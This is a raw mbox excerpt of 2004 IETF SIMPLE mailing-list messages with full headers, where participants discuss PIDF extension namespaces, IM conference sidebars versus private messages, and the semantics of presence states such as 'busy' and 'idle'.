> 
>  Although the existing PIDF definition allows arbitrary elements to
>    appear in the <status> element, it may be sometimes desirable to
>    standardize extension status elements and their semantics (the
>    meanings of particular statuses, how they should be interpreted). The
>    URN 'urn:ietf:params:xml:ns:pidf:status' has been defined as a
>    namespace URI for extensions standardized by the IETF, and new values
>    in this namespace must be defined by a standards-track RFC.
> 
>    The following example XML Schema defines an extension for <location>
>    presence information, which can have the values of 'home', 'office',
>    or 'car'. If the <location> element were standardized, this document
>    would be made available in an RFC along with information about the
>    use of the extension. These extensions should use the namespace
>    'urn:ietf:params:xml:ns:pidf:status', and each RFC defining an
>    extension should register an extension name within that namespace
>    with IANA.
> 
> This seems to suggest that all extensions actually have the namespace 
> urn:ietf:params:xml:ns:pidf:status, as opposed to being WITHIN that 
> namespace. That interpretation is supported by the example which follows:
> 
>   <?xml version="1.0" encoding="UTF-8"?>
>       <xs:schema targetNamespace="urn:ietf:params:xml:ns:pidf:status"
>            xmlns:tns="urn:ietf:params:xml:ns:pidf:status"
>            xmlns:xs="http://www.w3.org/2001/XMLSchema"
>            elementFormDefault="qualified"
>            attributeFormDefault="unqualified">
> 
> 
> note the target namespace.
> 
> I don't think this is right; each extensions should have its own namespace.
> 
> -Jonathan R.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 00:51:31 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07222
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 00:51:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgKy-000552-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 00:51:32 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxgK2-0004zt-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 00:50:35 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgJX-0004uj-00; Mon, 01 Mar 2004 00:50:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgJW-00086t-CW; Mon, 01 Mar 2004 00:50:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgIz-000850-AL
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 00:49:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07101
	for <simple@ietf.org>; Mon, 1 Mar 2004 00:49:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgIw-0004sP-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:49:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxgI4-0004lR-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:48:33 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgHA-0004X7-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:47:36 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i215krUG005742;
	Mon, 1 Mar 2004 00:46:54 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id AAA10215;
	Mon, 1 Mar 2004 00:46:53 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <FZX4GPZ7>; Mon, 1 Mar 2004 00:46:53 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B6479@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Niemi Aki (Nokia-M/Espoo)'" <aki.niemi@nokia.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: Markus.Isomaki@nokia.com, pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 00:46:52 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Aki

When we were discussing sidebars, I made arguments like this against making
a sidebar
a separate session.  Sidebars, I argued, are just media (mixing) changes,
they have
nothing to do with session management.

I lost this argument, and I will be very unhappy if IM works differently.
One of
the reasons I lost it was the observation that a sidebar could include
participants
who are not main conference participants.  I think you have the same issue
here.

Brian

> -----Original Message-----
> From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> Sent: Sunday, February 29, 2004 12:40 PM
> To: ext Jonathan Rosenberg
> Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> Miguel.An.Garcia@nokia.com; simple@ietf.org
> Subject: Re: [Simple] Chat sessions
> 
> 
> 
> 
> ext Jonathan Rosenberg wrote:
> <snip />
> 
> >> 3. As Aki explained, sidebars and private IMs within a conference 
> >> are two different things. Sidebars are subconferences, that include
> >>  a certain subset of the participants in the main conference. They 
> >> need to be explicitly created and deleted. Private IMs within a 
> >> conference are also targeted to a subset of the conference 
> >> participants. But there is no need to setup a sidebar or any other 
> >> additional context to send them. The recipients can simply be 
> >> signaled within each message (as proposed by using CPIM To header).
> >>  This seems to be a specific property of IM, as this sort of 
> >> addressing would be impossible e.g. in RTP. In theory priate 
> >> messaging facility could be supported by sidebars, but in this case
> >>  the focus would need to have as many sidebars constantly setup, as
> >>  there are different possible participant subset combinations. Way 
> >> too complex and not needed.
> > 
> > 
> > I dont think that, functionally, what you are describing is 
> different
> >  from a sidebar. What differs is that the specifics of this media 
> > type allow for a more efficient implementation of the sidebar than 
> > would be possible for another media type, such as audio. 
> Indeed, the 
> > same is true for IM in general - why set up a session (ala 
> msrp) when
> > you can just send a pager mode?
> 
> The ultimate proof of difference in functionality is that private
> messages are usable and useful in a sidebar - in fact it makes no
> difference whether they're sent within the context of a conference, a
> conference sidebar, or a sidebar of a conference sidebar.
> 
> Let me provide a concrete example of an already existing service (IRC)
> that has what I think is a close approximation of both sidebar and
> private message functionality. (BTW, I feel strongly that if MSRP
> conferences aren't as feature rich as IRC is, and provide the 
> same user
> experience, we've failed miserably.)
> 
> Channels in IRC have identities, e.g., #helsinki, and 
> participant lists
> that are delivered in a very similar manner that the conference-info
> events would be delivered. Users join these channels using JOIN, at
> which time they get the participant list, and after that, 
> updates e.g.,
> whenever anyone leaves or joins the channel.
> 
> Users can send private messages to the other participants in 
> the channel:
> 
> 	PRIVMSG foobar :Some nick you got there foobar!
> 
> Usually, these messages are displayed in the same pane as the rest of
> the channel's messages, including information about the sender but
> marked accordingly as private.
> 
> A user can also invite others to a sidebar of sorts, that is, a new
> channel, whose properties can be set such that it can be joined by
> invitation only.
> 
> 	INVITE FunnyNick #my_channel
> 	INVITE BeerLover #my_channel
> 	INVITE ROOLZ #my_channel
> 
> Joining this new channel as a result of an invitation (with JOIN)
> usually results in a new window, moving the focus of conversation away
> from the original channel, but still maintaining the original channel'
> and its messages active in the background.
> 
> The users may again send messages either to the entire 
> channel (MSG), or
> to only one participant (PRIVMSG). A recipient of an INVITE will
> generally make a choice just like in a SIP invitation whether 
> or not to
> join the sidebar or not. Receiving a PRIVMSG requires no actions from
> the recipient. Indeed, it might even go unnoticed.
> 
> Taking this into account, I fail to see how sidebars alone can be made
> to work in providing similar functionality in MSRP conferences. Either
> sidears or private messages alone won't result in the same level of
> functionality.
> 
> Wrapping all private conversation inside a sidebar is incredibly
> inefficient and results in bad user experience, since there 
> is no way to
> distinguish a REFER that is to a sidebar whose sole purpose 
> is to send a
> single private message to the user or have a real ad-hoc conversation
> posibly consisting of a real exchange of messages. In fact, this would
> require 4 rounds of singalling (not including sidebar creation and
> tear-down), plus user interaction in between:
> 
> REFER (to sidebar)
> 200 OK
> 
> -Query/inform user whether wants to join-
> 
> INVITE (to sidebar)
> 200 OK
> ACK
> 
> (Note: would probably also require subscription to conference-info,
> because one would be interested to whom they are sending the private
> messages...)
> 
> MSRP SEND
> MSRP OK
> 
> BYE
> 200 OK
> 
> ...as opposed to a single round of messages:
> 
> MSRP SEND (private)
> 200 OK
> 
> (Note that enabling auto-answering wrt the REFER would in the 
> worst case
> result in a sidebar bombardment, or having a user be moved over to a
> sidebar in the middle of, say, message composition.)
> 
> The same level of functionality would also not be met with only using
> private messages. AFAIK, the purpose of a sidebar is to move the focus
> of the conversation temporarily outside the original conference. This
> requires being able to wrap a discussion into a separate 
> context. A very
> important aspect of this is to let the user decide whether to 
> joing such
> a sidebar, and when to join it. Determining to which context a
> particular received private message belongs to can in this 
> case only be
> done in the recipients head - there are no protocol elements to help.
> 
> As a conclusion, I don't see how sidebars alone can provide 
> the required
> functionality.
> 
> > 
> > So, the question is, do we see the perceived efficiency 
> improvements 
> > of a pager-mode sidebar as being sufficiently good to allow for 
> > defining a separate sidebar mechanism for it?
> 
> It is also about user interaction. When a user receives an 
> INVITE for an
> MSRP session, it can make a choice just like in a voice call between
> accepting the call or rejecting it. Page mode doesn't provide that 
> functionality.
> 
> Cheers,
> Aki
> 
> > -Jonathan R.
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 00:52:03 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07250
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 00:52:03 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgL2-0008Hg-3E
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 00:51:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i215paJ2031838
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 00:51:36 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgL1-0008HO-Us
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 00:51:35 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07236
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 00:51:32 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgKz-000557-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 00:51:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxgK3-000501-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 00:50:36 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgJX-0004uj-00; Mon, 01 Mar 2004 00:50:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgJW-00086t-CW; Mon, 01 Mar 2004 00:50:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgIz-000850-AL
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 00:49:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07101
	for <simple@ietf.org>; Mon, 1 Mar 2004 00:49:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgIw-0004sP-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:49:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxgI4-0004lR-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:48:33 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgHA-0004X7-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:47:36 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i215krUG005742;
	Mon, 1 Mar 2004 00:46:54 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id AAA10215;
	Mon, 1 Mar 2004 00:46:53 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <FZX4GPZ7>; Mon, 1 Mar 2004 00:46:53 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B6479@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Niemi Aki (Nokia-M/Espoo)'" <aki.niemi@nokia.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: Markus.Isomaki@nokia.com, pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 00:46:52 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Aki

When we were discussing sidebars, I made arguments like this against making
a sidebar
a separate session.  Sidebars, I argued, are just media (mixing) changes,
they have
nothing to do with session management.

I lost this argument, and I will be very unhappy if IM works differently.
One of
the reasons I lost it was the observation that a sidebar could include
participants
who are not main conference participants.  I think you have the same issue
here.

Brian

> -----Original Message-----
> From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> Sent: Sunday, February 29, 2004 12:40 PM
> To: ext Jonathan Rosenberg
> Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> Miguel.An.Garcia@nokia.com; simple@ietf.org
> Subject: Re: [Simple] Chat sessions
> 
> 
> 
> 
> ext Jonathan Rosenberg wrote:
> <snip />
> 
> >> 3. As Aki explained, sidebars and private IMs within a conference 
> >> are two different things. Sidebars are subconferences, that include
> >>  a certain subset of the participants in the main conference. They 
> >> need to be explicitly created and deleted. Private IMs within a 
> >> conference are also targeted to a subset of the conference 
> >> participants. But there is no need to setup a sidebar or any other 
> >> additional context to send them. The recipients can simply be 
> >> signaled within each message (as proposed by using CPIM To header).
> >>  This seems to be a specific property of IM, as this sort of 
> >> addressing would be impossible e.g. in RTP. In theory priate 
> >> messaging facility could be supported by sidebars, but in this case
> >>  the focus would need to have as many sidebars constantly setup, as
> >>  there are different possible participant subset combinations. Way 
> >> too complex and not needed.
> > 
> > 
> > I dont think that, functionally, what you are describing is 
> different
> >  from a sidebar. What differs is that the specifics of this media 
> > type allow for a more efficient implementation of the sidebar than 
> > would be possible for another media type, such as audio. 
> Indeed, the 
> > same is true for IM in general - why set up a session (ala 
> msrp) when
> > you can just send a pager mode?
> 
> The ultimate proof of difference in functionality is that private
> messages are usable and useful in a sidebar - in fact it makes no
> difference whether they're sent within the context of a conference, a
> conference sidebar, or a sidebar of a conference sidebar.
> 
> Let me provide a concrete example of an already existing service (IRC)
> that has what I think is a close approximation of both sidebar and
> private message functionality. (BTW, I feel strongly that if MSRP
> conferences aren't as feature rich as IRC is, and provide the 
> same user
> experience, we've failed miserably.)
> 
> Channels in IRC have identities, e.g., #helsinki, and 
> participant lists
> that are delivered in a very similar manner that the conference-info
> events would be delivered. Users join these channels using JOIN, at
> which time they get the participant list, and after that, 
> updates e.g.,
> whenever anyone leaves or joins the channel.
> 
> Users can send private messages to the other participants in 
> the channel:
> 
> 	PRIVMSG foobar :Some nick you got there foobar!
> 
> Usually, these messages are displayed in the same pane as the rest of
> the channel's messages, including information about the sender but
> marked accordingly as private.
> 
> A user can also invite others to a sidebar of sorts, that is, a new
> channel, whose properties can be set such that it can be joined by
> invitation only.
> 
> 	INVITE FunnyNick #my_channel
> 	INVITE BeerLover #my_channel
> 	INVITE ROOLZ #my_channel
> 
> Joining this new channel as a result of an invitation (with JOIN)
> usually results in a new window, moving the focus of conversation away
> from the original channel, but still maintaining the original channel'
> and its messages active in the background.
> 
> The users may again send messages either to the entire 
> channel (MSG), or
> to only one participant (PRIVMSG). A recipient of an INVITE will
> generally make a choice just like in a SIP invitation whether 
> or not to
> join the sidebar or not. Receiving a PRIVMSG requires no actions from
> the recipient. Indeed, it might even go unnoticed.
> 
> Taking this into account, I fail to see how sidebars alone can be made
> to work in providing similar functionality in MSRP conferences. Either
> sidears or private messages alone won't result in the same level of
> functionality.
> 
> Wrapping all private conversation inside a sidebar is incredibly
> inefficient and results in bad user experience, since there 
> is no way to
> distinguish a REFER that is to a sidebar whose sole purpose 
> is to send a
> single private message to the user or have a real ad-hoc conversation
> posibly consisting of a real exchange of messages. In fact, this would
> require 4 rounds of singalling (not including sidebar creation and
> tear-down), plus user interaction in between:
> 
> REFER (to sidebar)
> 200 OK
> 
> -Query/inform user whether wants to join-
> 
> INVITE (to sidebar)
> 200 OK
> ACK
> 
> (Note: would probably also require subscription to conference-info,
> because one would be interested to whom they are sending the private
> messages...)
> 
> MSRP SEND
> MSRP OK
> 
> BYE
> 200 OK
> 
> ...as opposed to a single round of messages:
> 
> MSRP SEND (private)
> 200 OK
> 
> (Note that enabling auto-answering wrt the REFER would in the 
> worst case
> result in a sidebar bombardment, or having a user be moved over to a
> sidebar in the middle of, say, message composition.)
> 
> The same level of functionality would also not be met with only using
> private messages. AFAIK, the purpose of a sidebar is to move the focus
> of the conversation temporarily outside the original conference. This
> requires being able to wrap a discussion into a separate 
> context. A very
> important aspect of this is to let the user decide whether to 
> joing such
> a sidebar, and when to join it. Determining to which context a
> particular received private message belongs to can in this 
> case only be
> done in the recipients head - there are no protocol elements to help.
> 
> As a conclusion, I don't see how sidebars alone can provide 
> the required
> functionality.
> 
> > 
> > So, the question is, do we see the perceived efficiency 
> improvements 
> > of a pager-mode sidebar as being sufficiently good to allow for 
> > defining a separate sidebar mechanism for it?
> 
> It is also about user interaction. When a user receives an 
> INVITE for an
> MSRP session, it can make a choice just like in a voice call between
> accepting the call or rejecting it. Page mode doesn't provide that 
> functionality.
> 
> Cheers,
> Aki
> 
> > -Jonathan R.
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 00:55:30 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07468
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 00:55:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgOo-0005Ue-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 00:55:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxgNv-0005Ou-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 00:54:36 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgNP-0005J7-00; Mon, 01 Mar 2004 00:54:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgNO-00005c-TX; Mon, 01 Mar 2004 00:54:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgMr-0008Ok-Qz
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 00:53:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07324
	for <simple@ietf.org>; Mon, 1 Mar 2004 00:53:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgMp-0005HA-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:53:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxgLs-0005BD-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:52:29 -0500
Received: from brazilnut.cc.columbia.edu ([128.59.59.203] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgL1-00055U-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:51:35 -0500
Received: from cs.columbia.edu (UBAHN.dhcp.ietf59.or.kr [218.37.227.100])
	(user=hgs10 mech=PLAIN bits=0)
	by brazilnut.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i215pQiA012662
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Mon, 1 Mar 2004 00:51:28 -0500 (EST)
Message-ID: <4042CF62.7030907@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com>
In-Reply-To: <4042B316.4050104@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 00:51:30 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Paul Kyzivat wrote:

>> How does busy differ from closed? Also, I dont see a reason why it 
>> couldnt automatically be generated. For example, if I'm in a meeting.
> 
> 
> It differs because it means that you (probably) don't want to 
> communicate, not that you can't. A call will possibly result in alerting 
> the presentity. It may then result in no answer, or an answer from 
> someone who will be annoyed with you.
> 
> While it could be generated automatically, I think maybe the assumption 
> was that automated generation could be more precise. OTOH, it may be 
> that filtering will turn the more precise specifications into this one 
> in order to be less specific. So maybe the 2nd sentence should be removed.

Reworded to

User is busy, without further details. While this
activity would typically be associated with a status of CLOSED, a
presentity may declare itself busy to discourage communication, but
indicate that it still can be reached if needed.


> Maybe that the phone would ring without answer? Or that it would be 
> answered by whoever the phone number was reassigned to? (Aren't phone 
> numbers wonderful?)

Added sentence along those lines.

This interpretation implies that OPEN implies nothing about the 
usefulness of communication that is possible.

> I have a related issue that I thought I already raised, but maybe not.
> 
> I agree with your characterization of idle on commercial IM systems, and 
> that is probably what we want for those built with SIMPLE as well. But 
> when we extend the notion of presence to phones we typically get a 
> different semantic. It is common to be in close proximity to a phone and 
> yet not use it for long periods of time. So if idle is based on how long 
> since the phone was used, then a long idle time says nothing about the 
> likelihood that a call would be answered. And conversely, a lack of an 
> <idle> status likely increases the probability that a call won't be 
> answered.
> 
> So we end up with a status attribute whose significance is dependent on 
> the type of device publishing it. That seems like a bad thing. I'm not 
> sure what the solution is. Perhaps replacing idle with an attribute that 
> expressed a probability that the device is attended?

I can't see how a PC or phone could compute these probabilities. This 
would require knowing that 10 minutes of absence (the only observable 
value), for a particular user, implies that there's a 20% chance that 
the user has stepped out. Unless your PC or phone has a user proximity 
detector, this seems hard to do.

We do have the contact-type to allow the receiver to guess what this may 
mean. I think we discussed this before: in almost all cases, the value 
of a long idle time is not all that high (unless you know that the 
presentity is either a telemarketer who doesn't exist without a phone or 
a compulsive PC user that doesn't take his hands off the keyboard while 
in the office), but a short idle time is a good indication that somebody 
is likely home, be it a phone or PC.

Thus, my suggestion is to leave this as is and not try to over-interpret 
the value.



> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 01:00:36 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07766
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 01:00:36 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgTj-00062J-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 01:00:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxgSu-0005vh-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 00:59:44 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgSH-0005pc-00; Mon, 01 Mar 2004 00:59:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgSC-0000xJ-WE; Mon, 01 Mar 2004 00:59:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxgRg-0000w8-9u
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 00:58:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07602
	for <simple@ietf.org>; Mon, 1 Mar 2004 00:58:24 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgRd-0005mQ-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:58:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxgQb-0005fi-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:57:22 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxgPd-0005YJ-00
	for simple@ietf.org; Mon, 01 Mar 2004 00:56:21 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i215uJ017528;
	Mon, 1 Mar 2004 07:56:19 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 07:56:15 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
